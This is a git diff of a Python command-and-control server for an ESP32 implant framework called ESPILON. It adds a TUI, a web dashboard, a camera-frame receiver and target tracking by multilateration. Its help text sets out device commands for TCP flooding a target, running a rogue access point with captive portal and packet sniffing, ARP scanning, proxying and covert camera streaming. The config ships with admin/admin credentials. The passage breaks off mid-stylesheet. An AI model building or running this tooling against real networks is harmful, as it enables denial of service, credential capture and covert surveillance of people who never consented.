+UDP_BUFFER_SIZE=65535 + +# Web server for viewing streams +WEB_HOST=0.0.0.0 +WEB_PORT=8000 + +# =================== +# Security +# =================== +# Token for authenticating camera frames (must match ESP firmware) +CAMERA_SECRET_TOKEN=Sup3rS3cretT0k3n + +# Flask session secret (change in production!) +FLASK_SECRET_KEY=change_this_for_prod + +# Web interface credentials +WEB_USERNAME=admin +WEB_PASSWORD=admin + +# =================== +# Storage +# =================== +# Directory for camera frame storage (relative to c2 root) +IMAGE_DIR=static/streams + +# =================== +# Video Recording +# =================== +VIDEO_ENABLED=true +VIDEO_PATH=static/streams/record.avi +VIDEO_FPS=10 +VIDEO_CODEC=MJPG diff --git a/tools/c2/c3po.py b/tools/c2/c3po.py index 1fe07a4..b798f93 100644 --- a/tools/c2/c3po.py +++ b/tools/c2/c3po.py @@ -3,22 +3,24 @@ import socket import threading import re import sys +import time +import argparse from core.registry import DeviceRegistry from core.transport import Transport -from logs.manager import LogManager +from log.manager import LogManager from cli.cli import CLI from commands.registry import CommandRegistry from commands.reboot import RebootCommand from core.groups import GroupRegistry from utils.constant import HOST, PORT -from utils.display import Display # Import Display utility +from utils.display import Display # Strict base64 validation (ESP sends BASE64 + '\n') BASE64_RE = re.compile(br'^[A-Za-z0-9+/=]+$') RX_BUF_SIZE = 4096 -DEVICE_TIMEOUT_SECONDS = 60 # Devices are considered inactive after 60 seconds without a heartbeat +DEVICE_TIMEOUT_SECONDS = 300 # Devices are considered inactive after 5 minutes without a heartbeat HEARTBEAT_CHECK_INTERVAL = 10 # Check every 10 seconds @@ -81,34 +83,27 @@ def client_thread(sock: socket.socket, addr, transport: Transport, registry: Dev # Main server # ============================================================ def main(): + # Parse arguments + parser = argparse.ArgumentParser(description="C3PO - ESPILON C2 Framework") + parser.add_argument("--tui", action="store_true", help="Launch with TUI interface") + args = parser.parse_args() + header = """ - - $$$$$$$\ $$$$$$\ $$\ $$\ $$$$$$\ $$$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\ - -$$$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$$$$$\ $$\ $$\ $$$$$$\ $$$$$$\ -$$ _____|$$ __$$\ $$ __$$\\_$$ _|$$ | $$ __$$\ $$$\ $$ | $$ __$$\ $$ __$$\ -$$ | $$ / \__|$$ | $$ | $$ | $$ | $$ / $$ |$$$$\ $$ | $$ / \__|\__/ $$ | -$$$$$\ \$$$$$$\ $$$$$$$ | $$ | $$ | $$ | $$ |$$ $$\$$ | $$ | $$$$$$ | -$$ __| \____$$\ $$ ____/ $$ | $$ | $$ | $$ |$$ \$$$$ | $$ | $$ ____/ -$$ | $$\ $$ |$$ | $$ | $$ | $$ | $$ |$$ |\$$$ | $$ | $$\ $$ | -$$$$$$$$\ \$$$$$$ |$$ | $$$$$$\ $$$$$$$$\ $$$$$$ |$$ | \$$ | \$$$$$$ |$$$$$$$$\ -\________| \______/ \__| \______|\________|\______/ \__| \__| \______/ \________| - - - - $$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ -$$ __$$\ $$ ___$$\ $$ __$$\ $$ __$$\ -$$ / \__|\_/ $$ |$$ | $$ |$$ / $$ | -$$ | $$$$$ / $$$$$$$ |$$ | $$ | -$$ | \___$$\ $$ ____/ $$ | $$ | -$$ | $$\ $$\ $$ |$$ | $$ | $$ | -\$$$$$$ |\$$$$$$ |$$ | $$$$$$ | - \______/ \______/ \__| \______/ + $$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\\ +$$ __$$\\ $$ ___$$\\ $$ __$$\\ $$ __$$\\ +$$ / \\__|\_/ $$ |$$ | $$ |$$ / $$ | +$$ | $$$$$ / $$$$$$$ |$$ | $$ | +$$ | \\___$$\\ $$ ____/ $$ | $$ | +$$ | $$\\ $$\\ $$ |$$ | $$ | $$ | +\\$$$$$$ |\\$$$$$$ |$$ | $$$$$$ | + \\______/ \\______/ \\__| \\______/ ESPILON C2 Framework - Command and Control Server """ - Display.system_message(header) - Display.system_message("Initializing ESPILON C2 core...") + + if not args.tui: + Display.system_message(header) + Display.system_message("Initializing ESPILON C2 core...") # ============================ # Core components @@ -143,7 +138,9 @@ $$ | $$\ $$\ $$ |$$ | $$ | $$ | sys.exit(1) server.listen() - Display.system_message(f"Server listening on {HOST}:{PORT}") + + if not args.tui: + Display.system_message(f"Server listening on {HOST}:{PORT}") # Function to periodically check device status def device_status_checker(): @@ -155,30 +152,51 @@ $$ | $$\ $$\ $$ |$$ | $$ | $$ | device.status = "Inactive" Display.device_event(device.id, "Status changed to Inactive (timeout)") elif device.status == "Inactive" and now - device.last_seen <= DEVICE_TIMEOUT_SECONDS: - # If a device that was inactive sends a heartbeat, set it back to Connected device.status = "Connected" Display.device_event(device.id, "Status changed to Connected (heartbeat received)") time.sleep(HEARTBEAT_CHECK_INTERVAL) - # CLI thread - threading.Thread(target=cli.loop, daemon=True).start() + # Function to accept client connections + def accept_loop(): + while True: + try: + sock, addr = server.accept() + threading.Thread( + target=client_thread, + args=(sock, addr, transport, registry), + daemon=True + ).start() + except OSError: + break + except Exception as e: + Display.error(f"Server error: {e}") + # Device status checker thread threading.Thread(target=device_status_checker, daemon=True).start() + # Accept loop thread + threading.Thread(target=accept_loop, daemon=True).start() - # Accept loop - while True: + # ============================ + # TUI or CLI mode + # ============================ + if args.tui: try: - sock, addr = server.accept() - threading.Thread( - target=client_thread, - args=(sock, addr, transport, registry), # Pass registry to client_thread - daemon=True - ).start() + from tui.app import C3POApp + Display.enable_tui_mode() + app = C3POApp(registry=registry, cli=cli) + app.run() + except ImportError as e: + Display.error(f"TUI not available: {e}") + Display.error("Install textual: pip install textual") + sys.exit(1) + except KeyboardInterrupt: + pass + else: + # Classic CLI mode + try: + cli.loop() except KeyboardInterrupt: Display.system_message("Shutdown requested. Exiting...") - break - except Exception as e: - Display.error(f"Server error: {e}") server.close() diff --git a/tools/c2/cli/cli.py b/tools/c2/cli/cli.py index 085267f..f6ff0d2 100644 --- a/tools/c2/cli/cli.py +++ b/tools/c2/cli/cli.py @@ -1,11 +1,16 @@ import readline import os import time +from typing import Optional from utils.display import Display from cli.help import HelpManager from core.transport import Transport from proto.c2_pb2 import Command +from streams.udp_receiver import UDPReceiver +from streams.config import UDP_HOST, UDP_PORT, IMAGE_DIR, MULTILAT_AUTH_TOKEN +from web.server import UnifiedWebServer +from web.mlat import MlatEngine DEV_MODE = True @@ -17,7 +22,12 @@ class CLI: self.groups = groups self.transport = transport self.help_manager = HelpManager(commands, DEV_MODE) - self.active_commands = {} # {request_id: {"device_id": ..., "command_name": ..., "start_time": ..., "status": "running"}} + self.active_commands = {} # {request_id: {"device_id": ..., "command_name": ..., "start_time": ..., "status": "running"}} + + # Separate server instances + self.web_server: Optional[UnifiedWebServer] = None + self.udp_receiver: Optional[UDPReceiver] = None + self.mlat_engine = MlatEngine() readline.parse_and_bind("tab: complete") readline.set_completer(self._complete) @@ -31,7 +41,7 @@ class CLI: options = [] if len(parts) == 1: - options = ["send", "list", "group", "help", "clear", "exit", "active_commands"] + options = ["send", "list", "modules", "group", "help", "clear", "exit", "active_commands", "web", "camera"] elif parts[0] == "send": if len(parts) == 2: # Completing target (device ID, 'all', 'group') @@ -40,7 +50,14 @@ class CLI: options = list(self.groups.all_groups().keys()) elif (len(parts) == 3 and parts[1] != "group") or (len(parts) == 4 and parts[1] == "group"): # Completing command name options = self.commands.list() - # Add more logic here if commands have arguments that can be tab-completed + + elif parts[0] == "web": + if len(parts) == 2: + options = ["start", "stop", "status"] + + elif parts[0] == "camera": + if len(parts) == 2: + options = ["start", "stop", "status"] elif parts[0] == "group": if len(parts) == 2: # Completing group action @@ -68,37 +85,59 @@ class CLI: if not cmd: continue - parts = cmd.split() - action = parts[0] - - if action == "help": - self.help_manager.show(parts[1:]) - continue - - if action == "exit": + if cmd == "exit": return - if action == "clear": - os.system("cls" if os.name == "nt" else "clear") - continue + self.execute_command(cmd) - if action == "list": - self._handle_list() - continue + def execute_command(self, cmd: str): + """Execute a command string. Used by both CLI loop and TUI.""" + if not cmd: + return - if action == "group": - self._handle_group(parts[1:]) - continue + parts = cmd.split() + action = parts[0] - if action == "send": - self._handle_send(parts) - continue - - if action == "active_commands": - self._handle_active_commands() - continue + if action == "help": + self.help_manager.show(parts[1:]) + return - Display.error("Unknown command") + if action == "exit": + return + + if action == "clear": + os.system("cls" if os.name == "nt" else "clear") + return + + if action == "list": + self._handle_list() + return + + if action == "modules": + self.help_manager.show_modules() + return + + if action == "group": + self._handle_group(parts[1:]) + return + + if action == "send": + self._handle_send(parts) + return + + if action == "active_commands": + self._handle_active_commands() + return + + if action == "web": + self._handle_web(parts[1:]) + return + + if action == "camera": + self._handle_camera(parts[1:]) + return + + Display.error("Unknown command") # ================= HANDLERS ================= @@ -287,3 +326,119 @@ class CLI: cmd_info["status"], elapsed_time ]) + + def _handle_web(self, parts): + """Handle web server commands (frontend + multilateration API).""" + if not parts: + Display.error("Usage: web ") + return + + cmd = parts[0] + + if cmd == "start": + if self.web_server and self.web_server.is_running: + Display.system_message("Web server is already running.") + return + + self.web_server = UnifiedWebServer( + device_registry=self.registry, + mlat_engine=self.mlat_engine, + multilat_token=MULTILAT_AUTH_TOKEN, + camera_receiver=self.udp_receiver + ) + + if self.web_server.start(): + Display.system_message(f"Web server started at {self.web_server.get_url()}") + else: + Display.error("Web server failed to start") + + elif cmd == "stop": + if not self.web_server or not self.web_server.is_running: + Display.system_message("Web server is not running.") + return + + self.web_server.stop() + Display.system_message("Web server stopped.") + self.web_server = None + + elif cmd == "status": + Display.system_message("Web Server Status:") + if self.web_server and self.web_server.is_running: + Display.system_message(f" Status: Running") + Display.system_message(f" URL: {self.web_server.get_url()}") + else: + Display.system_message(f" Status: Stopped") + + # MLAT stats + Display.system_message("MLAT Engine:") + state = self.mlat_engine.get_state() + Display.system_message(f" Mode: {state.get('coord_mode', 'gps').upper()}") + Display.system_message(f" Scanners: {state['scanners_count']}") + if state['target']: + pos = state['target']['position'] + if 'lat' in pos: + Display.system_message(f" Target: ({pos['lat']:.6f}, {pos['lon']:.6f})") + else: + Display.system_message(f" Target: ({pos['x']:.2f}m, {pos['y']:.2f}m)") + else: + Display.system_message(f" Target: Not calculated") + + else: + Display.error("Invalid web command. Use: start, stop, status") + + def _handle_camera(self, parts): + """Handle camera UDP receiver commands.""" + if not parts: + Display.error("Usage: camera ") + return + + cmd = parts[0] + + if cmd == "start": + if self.udp_receiver and self.udp_receiver.is_running: + Display.system_message("Camera UDP receiver is already running.") + return + + self.udp_receiver = UDPReceiver( + host=UDP_HOST, + port=UDP_PORT, + image_dir=IMAGE_DIR, + device_registry=self.registry + ) + + if self.udp_receiver.start(): + Display.system_message(f"Camera UDP receiver started on {UDP_HOST}:{UDP_PORT}") + # Update web server if running + if self.web_server and self.web_server.is_running: + self.web_server.set_camera_receiver(self.udp_receiver) + Display.system_message("Web server updated with camera receiver") + else: + Display.error("Camera UDP receiver failed to start") + + elif cmd == "stop": + if not self.udp_receiver or not self.udp_receiver.is_running: + Display.system_message("Camera UDP receiver is not running.") + return + + self.udp_receiver.stop() + Display.system_message("Camera UDP receiver stopped.") + self.udp_receiver = None + # Update web server + if self.web_server and self.web_server.is_running: + self.web_server.set_camera_receiver(None) + + elif cmd == "status": + Display.system_message("Camera UDP Receiver Status:") + if self.udp_receiver and self.udp_receiver.is_running: + stats = self.udp_receiver.get_stats() + Display.system_message(f" Status: Running on {UDP_HOST}:{UDP_PORT}") + Display.system_message(f" Packets received: {stats['packets_received']}") + Display.system_message(f" Frames decoded: {stats['frames_received']}") + Display.system_message(f" Decode errors: {stats['decode_errors']}") + Display.system_message(f" Invalid tokens: {stats['invalid_tokens']}") + Display.system_message(f" Active cameras: {stats['active_cameras']}") + else: + Display.system_message(f" Status: Stopped") + + else: + Display.error("Invalid camera command. Use: start, stop, status") diff --git a/tools/c2/cli/help.py b/tools/c2/cli/help.py index 80d99f0..326065b 100644 --- a/tools/c2/cli/help.py +++ b/tools/c2/cli/help.py @@ -1,78 +1,295 @@ from utils.display import Display +# ESP32 Commands organized by module (matches Kconfig modules) +ESP_MODULES = { + "system": { + "description": "Core system commands", + "commands": { + "system_reboot": "Reboot the ESP32 device", + "system_mem": "Get memory info (heap, internal)", + "system_uptime": "Get device uptime", + } + }, + "network": { + "description": "Network tools", + "commands": { + "ping": "Ping a host (ping )", + "arp_scan": "ARP scan the local network", + "proxy_start": "Start TCP proxy (proxy_start )", + "proxy_stop": "Stop TCP proxy", + "dos_tcp": "TCP flood (dos_tcp )", + } + }, + "fakeap": { + "description": "Fake Access Point module", + "commands": { + "fakeap_start": "Start fake AP (fakeap_start [open|wpa2] [pass])", + "fakeap_stop": "Stop fake AP", + "fakeap_status": "Show fake AP status", + "fakeap_clients": "List connected clients", + "fakeap_portal_start": "Start captive portal", + "fakeap_portal_stop": "Stop captive portal", + "fakeap_sniffer_on": "Enable packet sniffer", + "fakeap_sniffer_off": "Disable packet sniffer", + } + }, + "recon": { + "description": "Reconnaissance module (Camera + MLAT)", + "commands": { + "cam_start": "Start camera streaming (cam_start )", + "cam_stop": "Stop camera streaming", + "mlat config": "Set position (mlat config [gps|local] )", + "mlat mode": "Set scan mode (mlat mode )", + "mlat start": "Start MLAT scanning (mlat start )", + "mlat stop": "Stop MLAT scanning", + "mlat status": "Show MLAT status", + } + } +} + + class HelpManager: def __init__(self, command_registry, dev_mode: bool = False): self.commands = command_registry self.dev_mode = dev_mode + def _out(self, text: str): + """Output helper that works in both CLI and TUI mode.""" + Display.system_message(text) + def show(self, args: list[str]): if args: self._show_command_help(args[0]) else: self._show_global_help() - def _show_global_help(self): - Display.system_message("=== ESPILON C2 HELP ===") - print("\nCLI Commands:") - print(" help [command] Show this help or help for a specific command") - print(" list List connected ESP devices") - print(" send Send a command to ESP device(s)") - print(" group Manage ESP device groups (add, remove, list, show)") - print(" active_commands List all currently running commands") - print(" clear Clear the terminal screen") - print(" exit Exit the C2 application") + def show_modules(self): + """Show ESP commands organized by module.""" + self._out("=== ESP32 COMMANDS BY MODULE ===") + self._out("") - print("\nESP Commands (available to send to devices):") - for name in self.commands.list(): - handler = self.commands.get(name) - print(f" {name:<15} {handler.description}") + for module_name, module_info in ESP_MODULES.items(): + self._out(f"[{module_name.upper()}] - {module_info['description']}") + for cmd_name, cmd_desc in module_info["commands"].items(): + self._out(f" {cmd_name:<20} {cmd_desc}") + self._out("") + + self._out("Use 'help ' for detailed help on a specific command.") + self._out("Send commands with: send [args...]") + + def _show_global_help(self): + self._out("=== ESPILON C2 HELP ===") + self._out("") + self._out("C2 Commands:") + self._out(" help [command] Show help or help for a specific command") + self._out(" list List connected ESP devices") + self._out(" modules List ESP commands organized by module") + self._out(" send Send a command to ESP device(s)") + self._out(" group Manage device groups (add, remove, list, show)") + self._out(" active_commands List currently running commands") + self._out(" clear Clear terminal screen") + self._out(" exit Exit C2") + self._out("") + self._out("Server Commands:") + self._out(" web start|stop|status Web dashboard server") + self._out(" camera start|stop|status Camera UDP receiver") + self._out("") + self._out("ESP Commands: (use 'modules' for detailed list)") + + registered_cmds = self.commands.list() + if registered_cmds: + for name in registered_cmds: + handler = self.commands.get(name) + self._out(f" {name:<15} {handler.description}") + else: + self._out(" (no registered commands - use 'send' with any ESP command)") if self.dev_mode: - Display.system_message("\nDEV MODE ENABLED:") - print(" You can send arbitrary text commands: send ") + self._out("") + self._out("DEV MODE: Send arbitrary text: send ") def _show_command_help(self, command_name: str): + # CLI Commands if command_name == "list": - Display.system_message("Help for 'list' command:") - print(" Usage: list") - print(" Description: Displays a table of all currently connected ESP devices,") - print(" including their ID, IP address, connection duration, and last seen timestamp.") + self._out("Help for 'list' command:") + self._out(" Usage: list") + self._out(" Description: Displays all connected ESP devices with ID, IP, status,") + self._out(" connection duration, and last seen timestamp.") + elif command_name == "send": - Display.system_message("Help for 'send' command:") - print(" Usage: send > [args...]") - print(" Description: Sends a command to one or more ESP devices.") - print(" Examples:") - print(" send 1234567890 reboot") - print(" send all get_status") - print(" send group my_group ping 8.8.8.8") + self._out("Help for 'send' command:") + self._out(" Usage: send > [args...]") + self._out(" Description: Sends a command to one or more ESP devices.") + self._out(" Examples:") + self._out(" send ESP_ABC123 reboot") + self._out(" send all wifi status") + self._out(" send group scanners mlat start AA:BB:CC:DD:EE:FF") + elif command_name == "group": - Display.system_message("Help for 'group' command:") - print(" Usage: group [args...]") - print(" Actions:") - print(" add [device_id2...] - Add devices to a group.") - print(" remove [device_id2...] - Remove devices from a group.") - print(" list - List all defined groups and their members.") - print(" show - Show members of a specific group.") - print(" Examples:") - print(" group add my_group 1234567890 ABCDEF1234") - print(" group remove my_group 1234567890") - print(" group list") - print(" group show my_group") - elif command_name in ["clear", "exit"]: - Display.system_message(f"Help for '{command_name}' command:") - print(f" Usage: {command_name}") - print(f" Description: {command_name.capitalize()}s the terminal screen." if command_name == "clear" else f" Description: {command_name.capitalize()}s the C2 application.") + self._out("Help for 'group' command:") + self._out(" Usage: group [args...]") + self._out(" Actions:") + self._out(" add [id2...] Add devices to a group") + self._out(" remove [id2...] Remove devices from a group") + self._out(" list List all groups") + self._out(" show Show group members") + + elif command_name == "web": + self._out("Help for 'web' command:") + self._out(" Usage: web ") + self._out(" Description: Control the web dashboard server.") + self._out(" Actions:") + self._out(" start Start the web server (dashboard, cameras, MLAT)") + self._out(" stop Stop the web server") + self._out(" status Show server status and MLAT engine info") + self._out(" Default URL: http://127.0.0.1:5000") + + elif command_name == "camera": + self._out("Help for 'camera' command:") + self._out(" Usage: camera ") + self._out(" Description: Control the camera UDP receiver.") + self._out(" Actions:") + self._out(" start Start UDP receiver for camera frames") + self._out(" stop Stop UDP receiver") + self._out(" status Show receiver stats (packets, frames, errors)") + self._out(" Default port: 12345") + + elif command_name == "modules": + self._out("Help for 'modules' command:") + self._out(" Usage: modules") + self._out(" Description: List all ESP32 commands organized by module.") + self._out(" Modules: system, network, fakeap, recon") + + elif command_name in ["clear", "exit", "active_commands"]: + self._out(f"Help for '{command_name}' command:") + self._out(f" Usage: {command_name}") + descs = { + "clear": "Clear the terminal screen", + "exit": "Exit the C2 application", + "active_commands": "Show all commands currently being executed" + } + self._out(f" Description: {descs.get(command_name, '')}") + + # ESP Commands (by module or registered) else: - # Check if it's an ESP command + # Check in modules first + for module_name, module_info in ESP_MODULES.items(): + if command_name in module_info["commands"]: + self._out(f"ESP Command '{command_name}' [{module_name.upper()}]:") + self._out(f" Description: {module_info['commands'][command_name]}") + self._show_esp_command_detail(command_name) + return + + # Check registered commands handler = self.commands.get(command_name) if handler: - Display.system_message(f"Help for ESP Command '{command_name}':") - print(f" Description: {handler.description}") - # Assuming ESP commands might have a usage string or more detailed help + self._out(f"ESP Command '{command_name}':") + self._out(f" Description: {handler.description}") if hasattr(handler, 'usage'): - print(f" Usage: {handler.usage}") - if hasattr(handler, 'long_description'): - print(f" Details: {handler.long_description}") + self._out(f" Usage: {handler.usage}") else: - Display.error(f"No help available for command '{command_name}'.") + Display.error(f"No help available for '{command_name}'.") + + def _show_esp_command_detail(self, cmd: str): + """Show detailed help for specific ESP commands.""" + details = { + # MLAT subcommands + "mlat config": [ + " Usage: send mlat config [gps|local] ", + " GPS mode: mlat config gps - degrees", + " Local mode: mlat config local - meters", + " Examples:", + " send ESP1 mlat config gps 48.8566 2.3522", + " send ESP1 mlat config local 10.0 5.5", + ], + "mlat mode": [ + " Usage: send mlat mode ", + " Example: send ESP1 mlat mode ble", + ], + "mlat start": [ + " Usage: send mlat start ", + " Example: send ESP1 mlat start AA:BB:CC:DD:EE:FF", + ], + "mlat stop": [ + " Usage: send mlat stop", + ], + "mlat status": [ + " Usage: send mlat status", + ], + "cam_start": [ + " Usage: send cam_start ", + " Description: Start camera streaming to C2 UDP receiver", + " Example: send ESP_CAM cam_start 192.168.1.100 12345", + ], + "cam_stop": [ + " Usage: send cam_stop", + " Description: Stop camera streaming", + ], + "fakeap_start": [ + " Usage: send fakeap_start [open|wpa2] [password]", + " Examples:", + " send ESP1 fakeap_start FreeWiFi", + " send ESP1 fakeap_start SecureNet wpa2 mypassword", + ], + "fakeap_stop": [ + " Usage: send fakeap_stop", + ], + "fakeap_status": [ + " Usage: send fakeap_status", + " Shows: AP running, portal status, sniffer status, client count", + ], + "fakeap_clients": [ + " Usage: send fakeap_clients", + " Lists all connected clients to the fake AP", + ], + "fakeap_portal_start": [ + " Usage: send fakeap_portal_start", + " Description: Enable captive portal (requires fakeap running)", + ], + "fakeap_portal_stop": [ + " Usage: send fakeap_portal_stop", + ], + "fakeap_sniffer_on": [ + " Usage: send fakeap_sniffer_on", + " Description: Enable packet sniffing", + ], + "fakeap_sniffer_off": [ + " Usage: send fakeap_sniffer_off", + ], + "ping": [ + " Usage: send ping ", + " Example: send ESP1 ping 8.8.8.8", + ], + "arp_scan": [ + " Usage: send arp_scan", + " Description: Scan local network for hosts", + ], + "proxy_start": [ + " Usage: send proxy_start ", + " Example: send ESP1 proxy_start 192.168.1.100 8080", + ], + "proxy_stop": [ + " Usage: send proxy_stop", + ], + "dos_tcp": [ + " Usage: send dos_tcp ", + " Example: send ESP1 dos_tcp 192.168.1.100 80 1000", + ], + "system_reboot": [ + " Usage: send system_reboot", + " Description: Reboot the ESP32 device", + ], + "system_mem": [ + " Usage: send system_mem", + " Shows: heap_free, heap_min, internal_free", + ], + "system_uptime": [ + " Usage: send system_uptime", + " Shows: uptime in days/hours/minutes/seconds", + ], + } + + if cmd in details: + for line in details[cmd]: + self._out(line) diff --git a/tools/c2/core/device.py b/tools/c2/core/device.py index 0602635..c9723c6 100644 --- a/tools/c2/core/device.py +++ b/tools/c2/core/device.py @@ -14,7 +14,11 @@ class Device: connected_at: float = field(default_factory=time.time) last_seen: float = field(default_factory=time.time) - status: str = "Connected" # New status field + status: str = "Connected" + + # System info (populated by auto system_info query) + chip: str = "" + modules: str = "" def touch(self): """ diff --git a/tools/c2/core/transport.py b/tools/c2/core/transport.py index 0c8d68c..4f1240d 100644 --- a/tools/c2/core/transport.py +++ b/tools/c2/core/transport.py @@ -1,7 +1,7 @@ from core.crypto import CryptoContext from core.device import Device from core.registry import DeviceRegistry -from logging.manager import LogManager +from log.manager import LogManager from utils.display import Display from proto.c2_pb2 import Command, AgentMessage, AgentMsgType @@ -64,6 +64,7 @@ class Transport: # ================================================== def _dispatch(self, sock, addr, msg: AgentMessage): device = self.registry.get(msg.device_id) + is_new_device = False if not device: device = Device( @@ -73,11 +74,63 @@ class Transport: ) self.registry.add(device) Display.device_event(device.id, f"Connected from {addr[0]}") + is_new_device = True else: + # Device reconnected with new socket - update connection info + if device.sock != sock: + try: + device.sock.close() + except Exception: + pass + device.sock = sock + device.address = addr + Display.device_event(device.id, f"Reconnected from {addr[0]}:{addr[1]}") device.touch() self._handle_agent_message(device, msg) + # Auto-query system_info on new device connection + if is_new_device: + self._auto_query_system_info(device) + + def _auto_query_system_info(self, device: Device): + """Send system_info command automatically when device connects.""" + try: + cmd = Command() + cmd.device_id = device.id + cmd.command_name = "system_info" + cmd.request_id = f"auto-sysinfo-{device.id}" + self.send_command(device.sock, cmd) + except Exception as e: + Display.error(f"Auto system_info failed for {device.id}: {e}") + + def _parse_system_info(self, device: Device, payload: str): + """Parse system_info response and update device info.""" + # Format: chip=esp32 cores=2 flash=external heap=4310096 uptime=7s modules=network,fakeap + try: + for part in payload.split(): + if "=" in part: + key, value = part.split("=", 1) + if key == "chip": + device.chip = value + elif key == "modules": + device.modules = value + + # Notify TUI about device info update + Display.device_event(device.id, f"INFO: {payload}") + + # Send special message to update TUI title + from utils.display import Display as Disp + if Disp._tui_mode: + from tui.bridge import tui_bridge, TUIMessage, MessageType + tui_bridge.post_message(TUIMessage( + msg_type=MessageType.DEVICE_INFO_UPDATED, + device_id=device.id, + payload=device.modules + )) + except Exception as e: + Display.error(f"Failed to parse system_info: {e}") + # ================================================== # AGENT MESSAGE HANDLER # ================================================== @@ -90,12 +143,30 @@ class Transport: payload_str = repr(msg.payload) if msg.type == AgentMsgType.AGENT_CMD_RESULT: - if msg.request_id and self.cli: + # Check if this is auto system_info response + if msg.request_id and msg.request_id.startswith("auto-sysinfo-"): + self._parse_system_info(device, payload_str) + elif msg.request_id and self.cli: self.cli.handle_command_response(msg.request_id, device.id, payload_str, msg.eof) else: Display.device_event(device.id, f"Command result (no request_id or CLI not set): {payload_str}") elif msg.type == AgentMsgType.AGENT_INFO: - Display.device_event(device.id, f"INFO: {payload_str}") + # Check for system_info response (format: chip=... modules=...) + if "chip=" in payload_str and "modules=" in payload_str: + self._parse_system_info(device, payload_str) + return + # Check for MLAT data (format: MLAT:x;y;rssi) + elif payload_str.startswith("MLAT:") and self.cli: + mlat_data = payload_str[5:] # Remove "MLAT:" prefix + if self.cli.mlat_engine.parse_mlat_message(device.id, mlat_data): + # Recalculate position if we have enough scanners + state = self.cli.mlat_engine.get_state() + if state["scanners_count"] >= 3: + self.cli.mlat_engine.calculate_position() + else: + Display.device_event(device.id, f"MLAT: Invalid data format: {mlat_data}") + else: + Display.device_event(device.id, f"INFO: {payload_str}") elif msg.type == AgentMsgType.AGENT_ERROR: Display.device_event(device.id, f"ERROR: {payload_str}") elif msg.type == AgentMsgType.AGENT_LOG: diff --git a/tools/c2/log/__init__.py b/tools/c2/log/__init__.py new file mode 100644 index 0000000..f1ca535 --- /dev/null +++ b/tools/c2/log/__init__.py @@ -0,0 +1,3 @@ +from .manager import LogManager + +__all__ = ["LogManager"] diff --git a/tools/c2/log/manager.py b/tools/c2/log/manager.py new file mode 100644 index 0000000..7b4311b --- /dev/null +++ b/tools/c2/log/manager.py @@ -0,0 +1,66 @@ +"""Log manager for storing device messages.""" + +import time +from typing import Dict, List, Optional +from dataclasses import dataclass + + +@dataclass +class LogEntry: + """A single log entry from a device.""" + timestamp: float + device_id: str + msg_type: str + source: str + payload: str + request_id: Optional[str] = None + + +class LogManager: + """Manages log storage for device messages.""" + + def __init__(self, max_entries_per_device: int = 1000): + self.max_entries = max_entries_per_device + self._logs: Dict[str, List[LogEntry]] = {} + + def add(self, device_id: str, msg_type: str, source: str, payload: str, request_id: str = None): + if device_id not in self._logs: + self._logs[device_id] = [] + + entry = LogEntry( + timestamp=time.time(), + device_id=device_id, + msg_type=msg_type, + source=source, + payload=payload, + request_id=request_id + ) + + self._logs[device_id].append(entry) + + if len(self._logs[device_id]) > self.max_entries: + self._logs[device_id] = self._logs[device_id][-self.max_entries:] + + def get_logs(self, device_id: str, limit: int = 100) -> List[LogEntry]: + if device_id not in self._logs: + return [] + return self._logs[device_id][-limit:] + + def get_all_logs(self, limit: int = 100) -> List[LogEntry]: + all_entries = [] + for entries in self._logs.values(): + all_entries.extend(entries) + all_entries.sort(key=lambda e: e.timestamp) + return all_entries[-limit:] + + def clear(self, device_id: str = None): + if device_id: + self._logs.pop(device_id, None) + else: + self._logs.clear() + + def device_count(self) -> int: + return len(self._logs) + + def total_entries(self) -> int: + return sum(len(entries) for entries in self._logs.values()) diff --git a/tools/c2/static/css/main.css b/tools/c2/static/css/main.css new file mode 100644 index 0000000..2ac8f53 --- /dev/null +++ b/tools/c2/static/css/main.css @@ -0,0 +1,935 @@ +/* ESPILON C2 - Violet Theme */ + +* { + margin: 0; + padding: 0; + box-sizing: border-box; +} + +:root { + /* Background colors - deep dark with violet undertones */ + --bg-primary: #0a0a0f; + --bg-secondary: #12121a; + --bg-tertiary: #06060a; + --bg-elevated: #1a1a25; + + /* Border colors */ + --border-color: #2a2a3d; + --border-light: #3d3d55; + + /* Text colors */ + --text-primary: #e4e4ed; + --text-secondary: #8888a0; + --text-muted: #5a5a70; + + /* Accent colors - violet palette */ + --accent-primary: #a855f7; + --accent-primary-hover: #c084fc; + --accent-primary-bg: rgba(168, 85, 247, 0.15); + --accent-primary-glow: rgba(168, 85, 247, 0.4); + + --accent-secondary: #818cf8; + --accent-secondary-bg: rgba(129, 140, 248, 0.15); + + /* Status colors */ + --status-online: #22d3ee; + --status-online-bg: rgba(34, 211, 238, 0.15); + --status-warning: #fbbf24; + --status-warning-bg: rgba(251, 191, 36, 0.15); + --status-error: #f87171; + --status-error-bg: rgba(248, 113, 113, 0.15); + --status-success: #4ade80; + --status-success-bg: rgba(74, 222, 128, 0.15); + + /* Button colors */ + --btn-primary: #7c3aed; + --btn-primary-hover: #8b5cf6; + --btn-secondary: #1e1e2e; + --btn-secondary-hover: #2a2a3d; + + /* Gradients */ + --gradient-primary: linear-gradient(135deg, #7c3aed 0%, #a855f7 100%); + --gradient-glow: radial-gradient(circle at center, var(--accent-primary-glow) 0%, transparent 70%); +} + +body { + font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; + background: var(--bg-primary); + color: var(--text-primary); + min-height: 100vh; +} + +/* ========== Header ========== */ + +header { + background: var(--bg-secondary); + border-bottom: 1px solid var(--border-color); + padding: 12px 24px; + display: flex; + justify-content: space-between; + align-items: center; + backdrop-filter: blur(10px); +} + +.logo { + font-size: 18px; + font-weight: 700; + letter-spacing: 2px; + background: var(--gradient-primary); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; + background-clip: text; +} + +.main-nav { + display: flex; + gap: 4px; +} + +.nav-link { + color: var(--text-secondary); + text-decoration: none; + font-size: 13px; + font-weight: 500; + padding: 8px 16px; + border-radius: 8px; + transition: all 0.2s ease; + position: relative; +} + +.nav-link:hover { + color: var(--text-primary); + background: var(--bg-elevated); +} + +.nav-link.active { + color: var(--accent-primary); + background: var(--accent-primary-bg); +} + +.nav-link.active::after { + content: ''; + position: absolute; + bottom: -13px; + left: 50%; + transform: translateX(-50%); + width: 20px; + height: 2px; + background: var(--accent-primary); + border-radius: 2px; +} + +.header-right 